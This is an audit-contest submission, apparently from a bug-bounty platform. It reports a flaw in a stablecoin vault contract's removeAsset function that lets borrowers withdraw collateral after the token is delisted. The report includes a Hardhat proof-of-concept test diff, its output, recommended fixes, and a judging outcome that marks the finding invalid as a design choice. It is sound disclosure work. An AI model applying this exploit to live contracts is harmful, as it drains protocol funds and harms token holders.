The Standard

DeFiHardhat

20,000 USDC

View results

Previous Next

Submission Details

Severity: high

Invalid

Removing a whitelisted token allows borrowers freely withdraw their collateral

spacelord47

Summary

The Protocol allows users to borrow(mint) EUROs token by supplying any "whitelisted" ERC20 token or ETH as collateral.
But there is a design flaw in the "whitelisted token removal" logic: if Protocol removes a "whitelisted" token, any borrower using this token as collateral can freely withdraw it from the protocol, leaving the protocol in a bad debt.

Issue Details

The Protocol implements a "Collateralized Debt Position" (CDP) system, which allows users to create their own vaults, provide collateral in the form of ERC20 tokens (or ETH), and borrow(mint) EUROs token against their collateral.

Only limited set of "whitelisted" tokens allowed to be used by borrowers. Token whitelisting fully controlled by the Protocol. Tokens can be added, and later removed using removeAcceptedToken function from the TokenManager contract.

The issue lies in the removeAsset function located in the SmartVaultV3 contract. The function allows vault owners(borrowers) to withdraw deposited ERC20 in case they sent non-whitelisted tokens accidentally:

contracts/SmartVaultV3.sol

149: function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {

150: ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);

151: if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);

152: IERC20(_tokenAddr).safeTransfer(_to, _amount);

153: emit AssetRemoved(_tokenAddr, _amount, _to);

154: }

The logic in this function is pretty straightforward:

User issue a request to withdraw their tokens(collateral) from the vault
The function performs a check whether the specified token "whitelisted" in TokenManager.acceptedTokens
1. if token "whitelisted" (line 151), then confirm that the debt position is healthy (overcollateralized), or abort transaction.
2. if token not found in "whitelisted", continue execution
Withdraw funds from the vault to specified account

Basically, this logic allows anyone to withdraw deposited funds regardless of the debt position state, if the deposited token was removed from acceptedTokens.

Potential conditions for token removal may include: compliance concerns, economical incentives, token upgrade, updating price feed for token, etc.

Impact

In case of token removal from acceptedTokens, all debt positions backed by the removed token can be withdrawn for free by the borrowers , while keeping their (minted) EUROs.

Given the following values from the live environment: collateralRate is 110% (e.g. to borrow EUROs worth of 1 WBTC we deposit 1.1 WBTC), and mintFeeRate is 2% (this fee will be held by the Protocol), we can assume that this exploit can make ~88% profit for a borrower, and undermine the stability of EUROs token.

This effectively leaves the Protocol in bad debt, since withdrawn funds can't be recovered.

PoC

The following test case demonstrates how a user can deposit 10 WBTC to the vault, mint(borrow) X EUROs and withdraw their 10 WBTC after WBTC removed from acceptedTokens, while keeping X EUROs.

diff --git a/test/smartVault.js b/test/smartVault.js

--- a/test/smartVault.js (revision c12272f2eec533019f2d255ab690f6892027f112)

+++ b/test/smartVault.js (date 1703956523267)

@@ -1,10 +1,12 @@

const { ethers } = require('hardhat');

const { BigNumber } = ethers;

const { expect } = require('chai');

-const { DEFAULT_ETH_USD_PRICE, DEFAULT_EUR_USD_PRICE, DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, getCollateralOf, ETH, getNFTMetadataContract, fullyUpgradedSmartVaultManager } = require('./common');

+const { DEFAULT_ETH_USD_PRICE, DEFAULT_EUR_USD_PRICE, DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, getCollateralOf, ETH, getNFTMetadataContract, fullyUpgradedSmartVaultManager,

+ mockTokenManager

+} = require('./common');

const { HUNDRED_PC } = require('./common');

-let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol;

+let VaultManager, Vault, TokenManager, ClEthUsd, EUROs, SwapRouterMock, MockWeth, admin, user, otherUser, protocol, WBTC;

describe('SmartVault', async () => {

beforeEach(async () => {

@@ -14,7 +16,9 @@

const ClEurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');

await ClEurUsd.setPrice(DEFAULT_EUR_USD_PRICE);

EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();

- TokenManager = await (await ethers.getContractFactory('TokenManagerMock')).deploy(ETH, ClEthUsd.address);

+ const { TokenManager: _TokenManager, WBTC: _WBTC } = await mockTokenManager();

+ TokenManager = _TokenManager;

+ WBTC = _WBTC

const SmartVaultDeployer = await (await ethers.getContractFactory('SmartVaultDeployerV3')).deploy(ETH, ClEurUsd.address);

const SmartVaultIndex = await (await ethers.getContractFactory('SmartVaultIndex')).deploy();

const NFTMetadataGenerator = await (await getNFTMetadataContract()).deploy();

@@ -34,6 +38,82 @@

Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);

});

+ it.only('Allows to freely withdraw collateral if token removed from accepted tokens list', async () => {

+ // Define some constants

+ const WBTCdecimals = await WBTC.decimals();

+ const EUROsDecimals = await EUROs.decimals();

+ const WBTCcollateralValue = ethers.utils.parseUnits("10", WBTCdecimals);

+ // Create Eve, and mint some WBTC

+ const [ Eve ] = await ethers.getSigners();

+ await WBTC.mint(Eve.address, WBTCcollateralValue);

+ // Check current balances

+ let EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);

+ let EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);

+ let protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);

+ console.log(`\n> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);

+ // Eve mints new vault

+ console.log('\n~ Eve creates new SmartVault');

+ await VaultManager.connect(Eve).mint();

+ let vaultStatus = (await VaultManager.connect(Eve).vaults())[0].status;

+ const EveVault = await ethers.getContractAt('SmartVaultV3', vaultStatus.vaultAddress);

+ // Confirm proper vault setup

+ expect(await EveVault.owner()).to.equal(Eve.address);

+ console.log(`> Vault status: maxMintable(EUROs)=${ethers.utils.formatUnits(vaultStatus.maxMintable, EUROsDecimals)}, minted(EUROs)=${ethers.utils.formatUnits(vaultStatus.minted, EUROsDecimals)}, totalCollateralValue(EUROs)=${ethers.utils.formatUnits(vaultStatus.totalCollateralValue, EUROsDecimals)}`);

+ // Eve deposits collateral using standard ERC20 transfer function

+ console.log(`\n~ Eve deposits 10 WBTC as collateral to the vault`);

+ await WBTC.connect(Eve).transfer(EveVault.address, WBTCcollateralValue);

+ // Check current balances

+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);

+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);

+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);

+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);

+ // Check vault status

+ vaultStatus = await EveVault.status();

+ // Now Eve can borrow(mint) EUROs

+ console.log(`\n~ Eve mints all available EUROs`);

+ // Calculate the minting fee will be taken by the protocol

+ const maxMintFee = vaultStatus.maxMintable.mul(await VaultManager.mintFeeRate()).div(await VaultManager.HUNDRED_PC());

+ // Here we need to deduct the minting fee for "amount" parameter

+ const maxMintWithoutFee = vaultStatus.maxMintable.sub(maxMintFee);

+ await EveVault.connect(Eve).mint(Eve.address, maxMintWithoutFee);

+ // Check current balances

+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);

+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);

+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);

+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);

+ // Check vault status

+ vaultStatus = await EveVault.status();

+ // Protocol decides to remove WBTC from the tokens list

+ console.log(`\n~ Protocol removes WBTC token from the list of tokens accepted as collateral`);

+ await TokenManager.removeAcceptedToken(ethers.utils.formatBytes32String('WBTC'));

+ // Now, Eve can exploit the flaw by withdrawing her collateral!

+ console.log(`~ Eve withdraws her (WBTC) collateral`);

+ await EveVault.connect(Eve).removeAsset(WBTC.address, WBTCcollateralValue, Eve.address);

+ // Check the final state

+ vaultStatus = await EveVault.status();

+ EveWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(Eve.address), WBTCdecimals);

+ EveEUROs = ethers.utils.formatUnits(await EUROs.balanceOf(Eve.address), EUROsDecimals);

+ protocolWBTC = ethers.utils.formatUnits(await WBTC.balanceOf(protocol.address), WBTCdecimals);

+ console.log(`\n~ Final state after exploit`);

+ console.log(`> Eve balance: WBTC=${EveWBTC}, EUROs=${EveEUROs}; Protocol balance: WBTC=${protocolWBTC}`);

+ });

describe('ownership', async () => {

it('will not allow setting of new owner if not manager', async () => {

const ownerUpdate = Vault.connect(user).setOwner(otherUser.address);

Run with: npx hardhat test

Test case output:

SmartVault

> Eve balance: WBTC=10.0, EUROs=0.0; Protocol balance: WBTC=0.0

~ Eve creates new SmartVault

> Vault status: maxMintable(EUROs)=0.0, minted(EUROs)=0.0, totalCollateralValue(EUROs)=0.0

~ Eve deposits 10 WBTC as collateral to the vault

> Eve balance: WBTC=0.0, EUROs=0.0; Protocol balance: WBTC=0.0

> Vault status: maxMintable(EUROs)=275157.23270440251572327, minted(EUROs)=0.0, totalCollateralValue(EUROs)=330188.679245283018867924

~ Eve mints all available EUROs

> Eve balance: WBTC=0.0, EUROs=273781.446540880503144654; Protocol balance: WBTC=0.0

> Vault status: maxMintable(EUROs)=275157.23270440251572327, minted(EUROs)=275150.353773584905660377, totalCollateralValue(EUROs)=330188.679245283018867924

~ Protocol removes WBTC token from the list of tokens accepted as collateral

~ Eve withdraws her (WBTC) collateral

~ Final state after exploit

> Vault status: maxMintable(EUROs)=0.0, minted(EUROs)=275150.353773584905660377, totalCollateralValue(EUROs)=0.0

> Eve balance: WBTC=10.0, EUROs=273781.446540880503144654; Protocol balance: WBTC=0.0

✔ Allows to freely withdraw collateral if token removed from accepted tokens list (529ms)

Recommendations

I see two potential solutions to resolve this issue:

Change the accounting logic in SmartVaultV3 contract, e.g. implementing dedicated function for deposits. So that in any given moment (e.g. in removeAsset function) we can retrieve all deposited funds, and don't rely on TokenManager.
Change token removal logic in TokenManager contract. This perhaps will involve implementing a "soft delete", instead of "hard delete". But will inevitably lead to a more complex token indexing in SmartVaultV3, since we need to check more conditions.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago

Submission Judgement Published

Validated

Assigned finding tags:

remove-token

hrishibhat Lead Judge over 1 year ago

Submission Judgement Published

Invalidated

Reason: Design choice

Prize pool breakdown

Total prize

20,000 USDC

nSLOC

609

33 USDC / LOC

High Medium

17,500 USDC

Low

2,500 USDC

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.